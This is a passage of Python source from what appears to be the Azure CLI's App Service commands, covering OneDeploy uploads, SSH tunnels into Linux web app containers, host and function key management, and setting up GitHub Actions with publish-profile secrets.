create_json.update({'URL': _url})
if logs:
_configure_default_logging(cmd, rg_name, name)
return get_streaming_log(cmd, rg_name, name)
with ConfiguredDefaultSetter(cmd.cli_ctx.config, True):
cmd.cli_ctx.config.set_value('defaults', 'group', rg_name)
cmd.cli_ctx.config.set_value('defaults', 'sku', sku)
cmd.cli_ctx.config.set_value('defaults', 'appserviceplan', plan)
cmd.cli_ctx.config.set_value('defaults', 'location', loc)
cmd.cli_ctx.config.set_value('defaults', 'web', name)
return create_json
def _update_app_settings_for_windows_if_needed(cmd, rg_name, name, match, site_config, runtime_version):
update_needed = False
if 'node' in runtime_version:
settings = []
for k, v in match['configs'].items():
for app_setting in site_config.app_settings:
if app_setting.name == k and app_setting.value != v:
update_needed = True
settings.append('%s=%s', k, v)
if update_needed:
logger.warning('Updating runtime version to %s', runtime_version)
update_app_settings(cmd, rg_name, name, settings=settings, slot=None, slot_settings=None)
else:
for k, v in match['configs'].items():
if getattr(site_config, k, None) != v:
update_needed = True
setattr(site_config, k, v)
if update_needed:
logger.warning('Updating runtime version to %s', runtime_version)
update_site_configs(cmd,
rg_name,
name,
net_framework_version=site_config.net_framework_version,
php_version=site_config.php_version,
python_version=site_config.python_version,
java_version=site_config.java_version,
java_container=site_config.java_container,
java_container_version=site_config.java_container_version)
current_stack = get_current_stack_from_runtime(runtime_version)
_update_webapp_current_stack_property_if_needed(cmd, rg_name, name, current_stack)
if update_needed:
logger.warning('Waiting for runtime version to propagate ...')
time.sleep(30) # wait for kudu to get updated runtime before zipdeploy. No way to poll for this
def _update_webapp_current_stack_property_if_needed(cmd, resource_group, name, current_stack):
if not current_stack:
return
# portal uses this current_stack value to display correct runtime for windows webapps
client = web_client_factory(cmd.cli_ctx)
app_metadata = client.web_apps.list_metadata(resource_group, name)
if 'CURRENT_STACK' not in app_metadata.properties or app_metadata.properties["CURRENT_STACK"] != current_stack:
app_metadata.properties["CURRENT_STACK"] = current_stack
client.web_apps.update_metadata(resource_group, name, metadata=app_metadata)
def _ping_scm_site(cmd, resource_group, name, instance=None):
from azure.cli.core.util import should_disable_connection_verify
# wake up kudu, by making an SCM call
import requests
# work around until the timeout limits issue for linux is investigated & fixed
user_name, password = _get_site_credential(cmd.cli_ctx, resource_group, name)
scm_url = _get_scm_url(cmd, resource_group, name)
import urllib3
authorization = urllib3.util.make_headers(basic_auth='{}:{}'.format(user_name, password))
cookies = {}
if instance is not None:
cookies['ARRAffinity'] = instance
requests.get(scm_url + '/api/settings', headers=authorization, verify=not should_disable_connection_verify(),
cookies=cookies)
def is_webapp_up(tunnel_server):
return tunnel_server.is_webapp_up()
def get_tunnel(cmd, resource_group_name, name, port=None, slot=None, instance=None):
webapp = show_webapp(cmd, resource_group_name, name, slot)
is_linux = webapp.reserved
if not is_linux:
raise CLIError("Only Linux App Service Plans supported, Found a Windows App Service Plan")
profiles = list_publish_profiles(cmd, resource_group_name, name, slot)
profile_user_name = next(p['userName'] for p in profiles)
profile_user_password = next(p['userPWD'] for p in profiles)
if port is None:
port = 0 # Will auto-select a free port from 1024-65535
logger.info('No port defined, creating on random free port')
# Validate that we have a known instance (case-sensitive)
if instance is not None:
instances = list_instances(cmd, resource_group_name, name, slot=slot)
instance_names = set(i.name for i in instances)
if instance not in instance_names:
if slot is not None:
raise CLIError("The provided instance '{}' is not valid for this webapp and slot.".format(instance))
raise CLIError("The provided instance '{}' is not valid for this webapp.".format(instance))
scm_url = _get_scm_url(cmd, resource_group_name, name, slot)
tunnel_server = TunnelServer('', port, scm_url, profile_user_name, profile_user_password, instance)
_ping_scm_site(cmd, resource_group_name, name, instance=instance)
_wait_for_webapp(tunnel_server)
return tunnel_server
def create_tunnel(cmd, resource_group_name, name, port=None, slot=None, timeout=None, instance=None):
tunnel_server = get_tunnel(cmd, resource_group_name, name, port, slot, instance)
t = threading.Thread(target=_start_tunnel, args=(tunnel_server,))
t.daemon = True
t.start()
logger.warning('Opening tunnel on port: %s', tunnel_server.local_port)
config = get_site_configs(cmd, resource_group_name, name, slot)
if config.remote_debugging_enabled:
logger.warning('Tunnel is ready, connect on port %s', tunnel_server.local_port)
else:
ssh_user_name = 'root'
ssh_user_password = 'Docker!'
logger.warning('SSH is available { username: %s, password: %s }', ssh_user_name, ssh_user_password)
logger.warning('Ctrl + C to close')
if timeout:
time.sleep(int(timeout))
else:
while t.is_alive():
time.sleep(5)
def create_tunnel_and_session(cmd, resource_group_name, name, port=None, slot=None, timeout=None, instance=None):
tunnel_server = get_tunnel(cmd, resource_group_name, name, port, slot, instance)
t = threading.Thread(target=_start_tunnel, args=(tunnel_server,))
t.daemon = True
t.start()
ssh_user_name = 'root'
ssh_user_password = 'Docker!'
s = threading.Thread(target=_start_ssh_session,
args=('localhost', tunnel_server.get_port(), ssh_user_name, ssh_user_password))
s.daemon = True
s.start()
if timeout:
time.sleep(int(timeout))
else:
while s.is_alive() and t.is_alive():
time.sleep(5)
def perform_onedeploy(cmd,
resource_group_name,
name,
src_path=None,
src_url=None,
target_path=None,
artifact_type=None,
is_async=None,
restart=None,
clean=None,
ignore_stack=None,
timeout=None,
slot=None):
params = OneDeployParams()
params.cmd = cmd
params.resource_group_name = resource_group_name
params.webapp_name = name
params.src_path = src_path
params.src_url = src_url
params.target_path = target_path
params.artifact_type = artifact_type
params.is_async_deployment = is_async
params.should_restart = restart
params.is_clean_deployment = clean
params.should_ignore_stack = ignore_stack
params.timeout = timeout
params.slot = slot
return _perform_onedeploy_internal(params)
# Class for OneDeploy parameters
# pylint: disable=too-many-instance-attributes,too-few-public-methods
class OneDeployParams:
def __init__(self):
self.cmd = None
self.resource_group_name = None
self.webapp_name = None
self.src_path = None
self.src_url = None
self.artifact_type = None
self.is_async_deployment = None
self.target_path = None
self.should_restart = None
self.is_clean_deployment = None
self.should_ignore_stack = None
self.timeout = None
self.slot = None
# pylint: enable=too-many-instance-attributes,too-few-public-methods
def _build_onedeploy_url(params):
scm_url = _get_scm_url(params.cmd, params.resource_group_name, params.webapp_name, params.slot)
deploy_url = scm_url + '/api/publish?type=' + params.artifact_type
if params.is_async_deployment is not None:
deploy_url = deploy_url + '&async=' + str(params.is_async_deployment)
if params.should_restart is not None:
deploy_url = deploy_url + '&restart=' + str(params.should_restart)
if params.is_clean_deployment is not None:
deploy_url = deploy_url + '&clean=' + str(params.is_clean_deployment)
if params.should_ignore_stack is not None:
deploy_url = deploy_url + '&ignorestack=' + str(params.should_ignore_stack)
if params.target_path is not None:
deploy_url = deploy_url + '&path=' + params.target_path
return deploy_url
def _get_onedeploy_status_url(params):
scm_url = _get_scm_url(params.cmd, params.resource_group_name, params.webapp_name, params.slot)
return scm_url + '/api/deployments/latest'
def _get_basic_headers(params):
import urllib3
user_name, password = _get_site_credential(params.cmd.cli_ctx, params.resource_group_name,
params.webapp_name, params.slot)
if params.src_path:
content_type = 'application/octet-stream'
elif params.src_url:
content_type = 'application/json'
else:
raise CLIError('Unable to determine source location of the artifact being deployed')
headers = urllib3.util.make_headers(basic_auth='{0}:{1}'.format(user_name, password))
headers['Cache-Control'] = 'no-cache'
headers['User-Agent'] = get_az_user_agent()
headers['Content-Type'] = content_type
return headers
def _get_onedeploy_request_body(params):
import os
if params.src_path:
logger.info('Deploying from local path: %s', params.src_path)
try:
with open(os.path.realpath(os.path.expanduser(params.src_path)), 'rb') as fs:
body = fs.read()
except Exception as e: # pylint: disable=broad-except
raise CLIError("Either '{}' is not a valid local file path or you do not have permissions to access it"
.format(params.src_path)) from e
elif params.src_url:
logger.info('Deploying from URL: %s', params.src_url)
body = json.dumps({
"packageUri": params.src_url
})
else:
raise CLIError('Unable to determine source location of the artifact being deployed')
return body
def _update_artifact_type(params):
import ntpath
if params.artifact_type is not None:
return
# Interpret deployment type from the file extension if the type parameter is not passed
file_name = ntpath.basename(params.src_path)
file_extension = file_name.split(".", 1)[1]
if file_extension in ('war', 'jar', 'ear', 'zip'):
params.artifact_type = file_extension
elif file_extension in ('sh', 'bat'):
params.artifact_type = 'startup'
else:
params.artifact_type = 'static'
logger.warning("Deployment type: %s. To override deloyment type, please specify the --type parameter. "
"Possible values: war, jar, ear, zip, startup, script, static", params.artifact_type)
def _make_onedeploy_request(params):
import requests
from azure.cli.core.util import (
should_disable_connection_verify,
)
# Build the request body, headers, API URL and status URL
body = _get_onedeploy_request_body(params)
headers = _get_basic_headers(params)
deploy_url = _build_onedeploy_url(params)
deployment_status_url = _get_onedeploy_status_url(params)
logger.info("Deployment API: %s", deploy_url)
response = requests.post(deploy_url, data=body, headers=headers, verify=not should_disable_connection_verify())
# For debugging purposes only, you can change the async deployment into a sync deployment by polling the API status
# For that, set poll_async_deployment_for_debugging=True
poll_async_deployment_for_debugging = True
# check the status of async deployment
if response.status_code == 202 or response.status_code == 200:
response_body = None
if poll_async_deployment_for_debugging:
logger.info('Polling the status of async deployment')
response_body = _check_zip_deployment_status(params.cmd, params.resource_group_name, params.webapp_name,
deployment_status_url, headers, params.timeout)
logger.info('Async deployment complete. Server response: %s', response_body)
return response_body
# API not available yet!
if response.status_code == 404:
raise CLIError("This API isn't available in this environment yet!")
# check if there's an ongoing process
if response.status_code == 409:
raise CLIError("Another deployment is in progress. Please wait until that process is complete before "
"starting a new deployment. You can track the ongoing deployment at {}"
.format(deployment_status_url))
# check if an error occured during deployment
if response.status_code:
raise CLIError("An error occured during deployment. Status Code: {}, Details: {}"
.format(response.status_code, response.text))
# OneDeploy
def _perform_onedeploy_internal(params):
# Update artifact type, if required
_update_artifact_type(params)
# Now make the OneDeploy API call
logger.info("Initiating deployment")
response = _make_onedeploy_request(params)
logger.info("Deployment has completed successfully")
return response
def _wait_for_webapp(tunnel_server):
tries = 0
while True:
if is_webapp_up(tunnel_server):
break
if tries == 0:
logger.warning('Connection is not ready yet, please wait')
if tries == 60:
raise CLIError('SSH timeout, your app must be running before'
' it can accept SSH connections. '
'Use `az webapp log tail` to review the app startup logs.')
tries = tries + 1
logger.warning('.')
time.sleep(1)
def _start_tunnel(tunnel_server):
tunnel_server.start_server()
def _start_ssh_session(hostname, port, username, password):
tries = 0
while True:
try:
c = Connection(host=hostname,
port=port,
user=username,
# connect_timeout=60*10,
connect_kwargs={"password": password})
break
except Exception as ex: # pylint: disable=broad-except
logger.info(ex)
if tries == 0:
logger.warning('Connection is not ready yet, please wait')
if tries == 60:
raise CLIError("Timeout Error, Unable to establish a connection")
tries = tries + 1
logger.warning('.')
time.sleep(1)
try:
c.run('cat /etc/motd', pty=True)
c.run('source /etc/profile; exec $SHELL -l', pty=True)
except Exception as ex: # pylint: disable=broad-except
logger.info(ex)
finally:
c.close()
def ssh_webapp(cmd, resource_group_name, name, port=None, slot=None, timeout=None, instance=None): # pylint: disable=too-many-statements
import platform
if platform.system() == "Windows":
webapp = show_webapp(cmd, resource_group_name, name, slot)
is_linux = webapp.reserved
if not is_linux:
raise ValidationError("Only Linux App Service Plans supported, found a Windows App Service Plan")
scm_url = _get_scm_url(cmd, resource_group_name, name, slot)
if not instance:
open_page_in_browser(scm_url + '/webssh/host')
else:
open_page_in_browser(scm_url + '/webssh/host?instance={}'.format(instance))
else:
config = get_site_configs(cmd, resource_group_name, name, slot)
if config.remote_debugging_enabled:
raise ValidationError('Remote debugging is enabled, please disable')
create_tunnel_and_session(
cmd, resource_group_name, name, port=port, slot=slot, timeout=timeout, instance=instance)
def _configure_default_logging(cmd, rg_name, name):
logger.warning("Configuring default logging for the app, if not already enabled")
return config_diagnostics(cmd, rg_name, name,
application_logging=True, web_server_logging='filesystem',
docker_container_logging='true')
def _validate_app_service_environment_id(cli_ctx, ase, resource_group_name):
ase_is_id = is_valid_resource_id(ase)
if ase_is_id:
return ase
from azure.cli.core.commands.client_factory import get_subscription_id
return resource_id(
subscription=get_subscription_id(cli_ctx),
resource_group=resource_group_name,
namespace='Microsoft.Web',
type='hostingEnvironments',
name=ase)
def _format_key_vault_id(cli_ctx, key_vault, resource_group_name):
key_vault_is_id = is_valid_resource_id(key_vault)
if key_vault_is_id:
return key_vault
from azure.cli.core.commands.client_factory import get_subscription_id
return resource_id(
subscription=get_subscription_id(cli_ctx),
resource_group=resource_group_name,
namespace='Microsoft.KeyVault',
type='vaults',
name=key_vault)
def _verify_hostname_binding(cmd, resource_group_name, name, hostname, slot=None):
hostname_bindings = _generic_site_operation(cmd.cli_ctx, resource_group_name, name,
'list_host_name_bindings', slot)
verified_hostname_found = False
for hostname_binding in hostname_bindings:
binding_name = hostname_binding.name.split('/')[-1]
if binding_name.lower() == hostname and (hostname_binding.host_name_type == 'Verified' or
hostname_binding.host_name_type == 'Managed'):
verified_hostname_found = True
return verified_hostname_found
def update_host_key(cmd, resource_group_name, name, key_type, key_name, key_value=None, slot=None):
# pylint: disable=protected-access
key_info = KeyInfo(name=key_name, value=key_value)
KeyInfo._attribute_map = {
'name': {'key': 'properties.name', 'type': 'str'},
'value': {'key': 'properties.value', 'type': 'str'},
}
client = web_client_factory(cmd.cli_ctx)
if slot:
return client.web_apps.create_or_update_host_secret_slot(resource_group_name,
name,
key_type,
key_name,
slot, key=key_info)
return client.web_apps.create_or_update_host_secret(resource_group_name,
name,
key_type,
key_name, key=key_info)
def list_host_keys(cmd, resource_group_name, name, slot=None):
client = web_client_factory(cmd.cli_ctx)
if slot:
return client.web_apps.list_host_keys_slot(resource_group_name, name, slot)
return client.web_apps.list_host_keys(resource_group_name, name)
def delete_host_key(cmd, resource_group_name, name, key_type, key_name, slot=None):
client = web_client_factory(cmd.cli_ctx)
if slot:
return client.web_apps.delete_host_secret_slot(resource_group_name, name, key_type, key_name, slot)
return client.web_apps.delete_host_secret(resource_group_name, name, key_type, key_name)
def show_function(cmd, resource_group_name, name, function_name):
client = web_client_factory(cmd.cli_ctx)
result = client.web_apps.get_function(resource_group_name, name, function_name)
if result is None:
return "Function '{}' does not exist in app '{}'".format(function_name, name)
return result
def delete_function(cmd, resource_group_name, name, function_name):
client = web_client_factory(cmd.cli_ctx)
result = client.web_apps.delete_function(resource_group_name, name, function_name)
return result
def update_function_key(cmd, resource_group_name, name, function_name, key_name, key_value=None, slot=None):
# pylint: disable=protected-access
key_info = KeyInfo(name=key_name, value=key_value)
KeyInfo._attribute_map = {
'name': {'key': 'properties.name', 'type': 'str'},
'value': {'key': 'properties.value', 'type': 'str'},
}
client = web_client_factory(cmd.cli_ctx)
if slot:
return client.web_apps.create_or_update_function_secret_slot(resource_group_name,
name,
function_name,
key_name,
slot,
key_info)
return client.web_apps.create_or_update_function_secret(resource_group_name,
name,
function_name,
key_name,
key_info)
def list_function_keys(cmd, resource_group_name, name, function_name, slot=None):
client = web_client_factory(cmd.cli_ctx)
if slot:
return client.web_apps.list_function_keys_slot(resource_group_name, name, function_name, slot)
return client.web_apps.list_function_keys(resource_group_name, name, function_name)
def delete_function_key(cmd, resource_group_name, name, key_name, function_name=None, slot=None):
client = web_client_factory(cmd.cli_ctx)
if slot:
return client.web_apps.delete_function_secret_slot(resource_group_name, name, function_name, key_name, slot)
return client.web_apps.delete_function_secret(resource_group_name, name, function_name, key_name)
def add_github_actions(cmd, resource_group, name, repo, runtime=None, token=None, slot=None, # pylint: disable=too-many-statements,too-many-branches
branch='master', login_with_github=False, force=False):
if not token and not login_with_github:
raise_missing_token_suggestion()
elif not token:
scopes = ["admin:repo_hook", "repo", "workflow"]
token = get_github_access_token(cmd, scopes)
elif token and login_with_github:
logger.warning("Both token and --login-with-github flag are provided. Will use provided token")
# Verify resource group, app
site_availability = get_site_availability(cmd, name)
if site_availability.name_available or (not site_availability.name_available and
site_availability.reason == 'Invalid'):
raise ResourceNotFoundError(
"The Resource 'Microsoft.Web/sites/%s' under resource group '%s' "
"was not found." % (name, resource_group))
app_details = get_app_details(cmd, name)
if app_details is None:
raise ResourceNotFoundError(
"Unable to retrieve details of the existing app %s. Please check that the app is a part of "
"the current subscription" % name)
current_rg = app_details.resource_group
if resource_group is not None and (resource_group.lower() != current_rg.lower()):
raise ResourceNotFoundError("The webapp %s exists in ResourceGroup %s and does not match the "
"value entered %s. Please re-run command with the correct "
"parameters." % (name, current_rg, resource_group))
parsed_plan_id = parse_resource_id(app_details.server_farm_id)
client = web_client_factory(cmd.cli_ctx)
plan_info = client.app_service_plans.get(parsed_plan_id['resource_group'], parsed_plan_id['name'])
is_linux = plan_info.reserved
# Verify github repo
from github import Github, GithubException
from github.GithubException import BadCredentialsException, UnknownObjectException
if repo.strip()[-1] == '/':
repo = repo.strip()[:-1]
g = Github(token)
github_repo = None
try:
github_repo = g.get_repo(repo)
try:
github_repo.get_branch(branch=branch)
except GithubException as e:
error_msg = "Encountered GitHub error when accessing {} branch in {} repo.".format(branch, repo)
if e.data and e.data['message']:
error_msg += " Error: {}".format(e.data['message'])
raise CLIError(error_msg)
logger.warning('Verified GitHub repo and branch')
except BadCredentialsException:
raise CLIError("Could not authenticate to the repository. Please create a Personal Access Token and use "
"the --token argument. Run 'az webapp deployment github-actions add --help' "
"for more information.")
except GithubException as e:
error_msg = "Encountered GitHub error when accessing {} repo".format(repo)
if e.data and e.data['message']:
error_msg += " Error: {}".format(e.data['message'])
raise CLIError(error_msg)
# Verify runtime
app_runtime_info = _get_app_runtime_info(
cmd=cmd, resource_group=resource_group, name=name, slot=slot, is_linux=is_linux)
app_runtime_string = None
if(app_runtime_info and app_runtime_info['display_name']):
app_runtime_string = app_runtime_info['display_name']
github_actions_version = None
if (app_runtime_info and app_runtime_info['github_actions_version']):
github_actions_version = app_runtime_info['github_actions_version']
if runtime and app_runtime_string:
if app_runtime_string.lower() != runtime.lower():
logger.warning('The app runtime: {app_runtime_string} does not match the runtime specified: '
'{runtime}. Using the specified runtime {runtime}.')
app_runtime_string = runtime
elif runtime:
app_runtime_string = runtime
if not app_runtime_string:
raise CLIError('Could not detect runtime. Please specify using the --runtime flag.')
if not _runtime_supports_github_actions(runtime_string=app_runtime_string, is_linux=is_linux):
raise CLIError("Runtime %s is not supported for GitHub Actions deployments." % app_runtime_string)
# Get workflow template
logger.warning('Getting workflow template using runtime: %s', app_runtime_string)
workflow_template = _get_workflow_template(github=g, runtime_string=app_runtime_string, is_linux=is_linux)
# Fill workflow template
guid = str(uuid.uuid4()).replace('-', '')
publish_profile_name = "AzureAppService_PublishProfile_{}".format(guid)
logger.warning(
'Filling workflow template with name: %s, branch: %s, version: %s, slot: %s',
name, branch, github_actions_version, slot if slot else 'production')
completed_workflow_file = _fill_workflow_template(content=workflow_template.decoded_content.decode(), name=name,
branch=branch, slot=slot, publish_profile=publish_profile_name,
version=github_actions_version)
completed_workflow_file = completed_workflow_file.encode()
# Check if workflow exists in repo, otherwise push
if slot:
file_name = "{}_{}({}).yml".format(branch.replace('/', '-'), name.lower(), slot)
else:
file_name = "{}_{}.yml".format(branch.replace('/', '-'), name.lower())
dir_path = "{}/{}".format('.github', 'workflows')
file_path = "/{}/{}".format(dir_path, file_name)
try:
existing_workflow_file = github_repo.get_contents(path=file_path, ref=branch)
existing_publish_profile_name = _get_publish_profile_from_workflow_file(
workflow_file=str(existing_workflow_file.decoded_content))
if existing_publish_profile_name:
completed_workflow_file = completed_workflow_file.decode()
completed_workflow_file = completed_workflow_file.replace(
publish_profile_name, existing_publish_profile_name)
completed_workflow_file = completed_workflow_file.encode()
publish_profile_name = existing_publish_profile_name
logger.warning("Existing workflow file found")
if force:
logger.warning("Replacing the existing workflow file")
github_repo.update_file(path=file_path, message="Update workflow using Azure CLI",
content=completed_workflow_file, sha=existing_workflow_file.sha, branch=branch)
else:
option = prompt_y_n('Replace existing workflow file?')
if option:
logger.warning("Replacing the existing workflow file")
github_repo.update_file(path=file_path, message="Update workflow using Azure CLI",
content=completed_workflow_file, sha=existing_workflow_file.sha,
branch=branch)
else:
logger.warning("Use the existing workflow file")
if existing_publish_profile_name:
publish_profile_name = existing_publish_profile_name
except UnknownObjectException:
logger.warning("Creating new workflow file: %s", file_path)
github_repo.create_file(path=file_path, message="Create workflow using Azure CLI",
content=completed_workflow_file, branch=branch)
# Add publish profile to GitHub
logger.warning('Adding publish profile to GitHub')
_add_publish_profile_to_github(cmd=cmd, resource_group=resource_group, name=name, repo=repo,
token=token, github_actions_secret_name=publish_profile_name,
slot=slot)
# Set site source control properties
_update_site_source_control_properties_for_gh_action(
cmd=cmd, resource_group=resource_group, name=name, token=token, repo=repo, branch=branch, slot=slot)
github_actions_url = "https://github.com/{}/actions".format(repo)
return github_actions_url
def remove_github_actions(cmd, resource_group, name, repo, token=None, slot=None, # pylint: disable=too-many-statements
branch='master', login_with_github=False):
if not token and not login_with_github:
raise_missing_token_suggestion()
elif not token:
scopes = ["admin:repo_hook", "repo", "workflow"]
token = get_github_access_token(cmd, scopes)
elif token and login_with_github:
logger.warning("Both token and --login-with-github flag are provided. Will use provided token")
# Verify resource group, app
site_availability = get_site_availability(cmd, name)
if site_availability.name_available or (not site_availability.name_available and
site_availability.reason == 'Invalid'):
raise CLIError("The Resource 'Microsoft.Web/sites/%s' under resource group '%s' was not found." %
(name, resource_group))
app_details = get_app_details(cmd, name)
if app_details is None:
raise CLIError("Unable to retrieve details of the existing app %s. "
"Please check that the app is a part of the current subscription" % name)
current_rg = app_details.resource_group
if resource_group is not None and (resource_group.lower() != current_rg.lower()):
raise CLIError("The webapp %s exists in ResourceGroup %s and does not match "
"the value entered %s. Please re-run command with the correct "
"parameters." % (name, current_rg, resource_group))
# Verify github repo
from github import Github, GithubException
from github.GithubException import BadCredentialsException, UnknownObjectException
if repo.strip()[-1] == '/':
repo = repo.strip()[:-1]
g = Github(token)
github_repo = None
try:
github_repo = g.get_repo(repo)
try:
github_repo.get_branch(branch=branch)
except GithubException as e:
error_msg = "Encountered GitHub error when accessing {} branch in {} repo.".format(branch, repo)
if e.data and e.data['message']:
error_msg += " Error: {}".format(e.data['message'])
raise CLIError(error_msg)
logger.warning('Verified GitHub repo and branch')
except BadCredentialsException:
raise CLIError("Could not authenticate to the repository. Please create a Personal Access Token and use "
"the --token argument. Run 'az webapp deployment github-actions add --help' "
"for more information.")
except GithubException as e:
error_msg = "Encountered GitHub error when accessing {} repo".format(repo)
if e.data and e.data['message']:
error_msg += " Error: {}".format(e.data['message'])
raise CLIError(error_msg)
# Check if workflow exists in repo and remove
file_name = "{}_{}({}).yml".format(
branch.replace('/', '-'), name.lower(), slot) if slot else "{}_{}.yml".format(
branch.replace('/', '-'), name.lower())
dir_path = "{}/{}".format('.github', 'workflows')
file_path = "/{}/{}".format(dir_path, file_name)
existing_publish_profile_name = None
try:
existing_workflow_file = github_repo.get_contents(path=file_path, ref=branch)
existing_publish_profile_name = _get_publish_profile_from_workflow_file(
workflow_file=str(existing_workflow_file.decoded_content))
logger.warning("Removing the existing workflow file")
github_repo.delete_file(path=file_path, message="Removing workflow file, disconnecting github actions",
sha=existing_workflow_file.sha, branch=branch)
except UnknownObjectException as e:
error_msg = "Error when removing workflow file."
if e.data and e.data['message']:
error_msg += " Error: {}".format(e.data['message'])
raise CLIError(error_msg)
# Remove publish profile from GitHub
if existing_publish_profile_name:
logger.warning('Removing publish profile from GitHub')
_remove_publish_profile_from_github(cmd=cmd, resource_group=resource_group, name=name, repo=repo, token=token,
github_actions_secret_name=existing_publish_profile_name, slot=slot)
# Remove site source control properties
delete_source_control(cmd=cmd,
resource_group_name=resource_group,
name=name,
slot=slot)
return "Disconnected successfully."
def _get_publish_profile_from_workflow_file(workflow_file):
import re
publish_profile = None
regex = re.search(r'publish-profile: \$\{\{ secrets\..*?\}\}', workflow_file)
if regex:
publish_profile = regex.group()
publish_profile = publish_profile.replace('publish-profile: ${{ secrets.', '')
publish_profile = publish_profile[:-2]
if publish_profile:
return publish_profile.strip()
return None
def _update_site_source_control_properties_for_gh_action(cmd, resource_group, name, token, repo=None,
branch="master", slot=None):
if repo:
repo_url = 'https://github.com/' + repo
else:
repo_url = None
site_source_control = show_source_control(cmd=cmd,
resource_group_name=resource_group,
name=name,
slot=slot)
if site_source_control:
if not repo_url:
repo_url = site_source_control.repo_url
delete_source_control(cmd=cmd,
resource_group_name=resource_group,
name=name,
slot=slot)
config_source_control(cmd=cmd,
resource_group_name=resource_group,
name=name,
repo_url=repo_url,
repository_type='github',
github_action=True,
branch=branch,
git_token=token,
slot=slot)
def _get_workflow_template(github, runtime_string, is_linux):
from github import GithubException
from github.GithubException import BadCredentialsException
file_contents = None
template_repo_path = 'Azure/actions-workflow-templates'
template_file_path = _get_template_file_path(runtime_string=runtime_string, is_linux=is_linux)
try:
template_repo = github.get_repo(template_repo_path)
file_contents = template_repo.get_contents(template_file_path)
except BadCredentialsException:
raise CLIError("Could not authenticate to the repository. Please create a Personal Access Token and use "
"the --token argument. Run 'az webapp deployment github-actions add --help' "
"for more information.")
except GithubException as e:
error_msg = "Encountered GitHub error when retrieving workflow template"
if e.data and e.data['message']:
error_msg += ": {}".format(e.data['message'])
raise CLIError(error_msg)
return file_contents
def _fill_workflow_template(content, name, branch, slot, publish_profile, version):
if not slot:
slot = 'production'
content = content.replace('${web-app-name}', name)
content = content.replace('${branch}', branch)
content = content.replace('${slot-name}', slot)
content = content.replace('${azure-webapp-publish-profile-name}', publish_profile)
content = content.replace('${AZURE_WEBAPP_PUBLISH_PROFILE}', publish_profile)
content = content.replace('${dotnet-core-version}', version)
content = content.replace('${java-version}', version)
content = content.replace('${node-version}', version)
content = content.replace('${python-version}', version)
return content
def _get_template_file_path(runtime_string, is_linux):
if not runtime_string:
raise CLIError('Unable to retrieve workflow template')
runtime_string = runtime_string.lower()
runtime_stack = runtime_string.split('|')[0]
template_file_path = None
if is_linux:
template_file_path = LINUX_GITHUB_ACTIONS_WORKFLOW_TEMPLATE_PATH.get(runtime_stack, None)
else:
# Handle java naming
if runtime_stack == 'java':
java_container_split = runtime_string.split('|')
if java_container_split and len(java_container_split) >= 2:
if java_container_split[2] == 'tomcat':
runtime_stack = 'tomcat'
elif java_container_split[2] == 'java se':
runtime_stack = 'java'
template_file_path = WINDOWS_GITHUB_ACTIONS_WORKFLOW_TEMPLATE_PATH.get(runtime_stack, None)
if not template_file_path:
raise CLIError('Unable to retrieve workflow template.')
return template_file_path
def _add_publish_profile_to_github(cmd, resource_group, name, repo, token, github_actions_secret_name, slot=None):
# Get publish profile with secrets
import requests
logger.warning("Fetching publish profile with secrets for the app '%s'", name)
publish_profile_bytes = _generic_site_operation(
cmd.cli_ctx, resource_group, name, 'list_publishing_profile_xml_with_secrets',
slot, {"format": "WebDeploy"})
publish_profile = list(publish_profile_bytes)
if publish_profile:
publish_profile = publish_profile[0].decode('ascii')
else:
raise CLIError('Unable to retrieve publish profile.')
# Add publish profile with secrets as a GitHub Actions Secret in the repo
headers = {}
headers['Authorization'] = 'Token {}'.format(token)
headers['Content-Type'] = 'application/json;'
headers['Accept'] = 'application/json;'
public_key_url = "https://api.github.com/repos/{}/actions/secrets/public-key".format(repo)
public_key = requests.get(public_key_url, headers=headers)
if not public_key.ok:
raise CLIError('Request to GitHub for public key failed.')
public_key = public_key.json()
encrypted_github_actions_secret = _encrypt_github_actions_secret(public_key=public_key['key'],
secret_value=str(publish_profile))
payload = {
"encrypted_value": encrypted_github_actions_secret,
"key_id": public_key['key_id']
}
store_secret_url = "https://api.github.com/repos/{}/actions/secrets/{}".format(repo, github_actions_secret_name)
stored_secret = requests.put(store_secret_url, data=json.dumps(payload), headers=headers)
if str(stored_secret.status_code)[0] != '2':
raise CLIError('Unable to add publish profile to GitHub. Request status code: %s' % stored_secret.status_code)
def _remove_publish_profile_from_github(cmd, resource_group, name, repo, token, github_actions_secret_name, slot=None):
headers = {}
headers['Authorization'] = 'Token {}'.format(token)
import requests
store_secret_url = "https://api.github.com/repos/{}/actions/secrets/{}".format(repo, github_actions_secret_name)
requests.delete(store_secret_url, headers=headers)
def _runtime_supports_github_actions(runtime_string, is_linux):
if is_linux:
stacks = get_file_json(RUNTIME_STACKS)['linux']
else:
stacks = get_file_json(RUNTIME_STACKS)['windows']
supports = False
for stack in stacks:
if stack['displayName'].lower() == runtime_string.lower():
if 'github_actions_properties' in stack and stack['github_actions_properties']:
supports = True
return supports
def _get_app_runtime_info(cmd, resource_group, name, slot, is_linux):
app_settings = None
app_runtime = None
if is_linux:
app_metadata = get_site_configs(cmd=cmd, resource_group_name=resource_group, name=name, slot=slot)
app_runtime = getattr(app_metadata, 'linux_fx_version', None)
return _get_app_runtime_info_helper(app_runtime, "", is_linux)
app_metadata = _generic_site_operation(cmd.cli_ctx, resource_group, name, 'list_metadata', slot)
app_metadata_properties = getattr(app_metadata, 'properties', {})
if 'CURRENT_STACK' in app_metadata_properties:
app_runtime = app_metadata_properties['CURRENT_STACK']
if app_runtime and app_runtime.lower() == 'node':
app_settings = get_app_settings(cmd=cmd, resource_group_name=resource_group, name=name, slot=slot)
for app_setting in app_settings:
if 'name' in app_setting and app_setting['name'] == 'WEBSITE_NODE_DEFAULT_VERSION':
app_runtime_version = app_setting['value'] if 'value' in app_setting else None
if app_runtime_version:
return _get_app_runtime_info_helper(app_runtime, app_runtime_version, is_linux)
elif app_runtime and app_runtime.lower() == 'python':
app_settings = get_site_configs(cmd=cmd, resource_group_name=resource_group, name=name, slot=slot)
app_runtime_version = getattr(app_settings, 'python_version', '')
return _get_app_runtime_info_helper(app_runtime, app_runtime_version, is_linux)
elif app_runtime and app_runtime.lower() == 'dotnetcore':
app_runtime_version = '3.1'
app_runtime_version = ""
return _get_app_runtime_info_helper(app_runtime, app_runtime_version, is_linux)
elif app_runtime and app_runtime.lower() == 'java':
app_settings = get_site_configs(cmd=cmd, resource_group_name=resource_group, name=name, slot=slot)
app_runtime_version = "{java_version}, {java_container}, {java_container_version}".format(
java_version=getattr(app_settings, 'java_version', '').lower(),
java_container=getattr(app_settings, 'java_container', '').lower(),
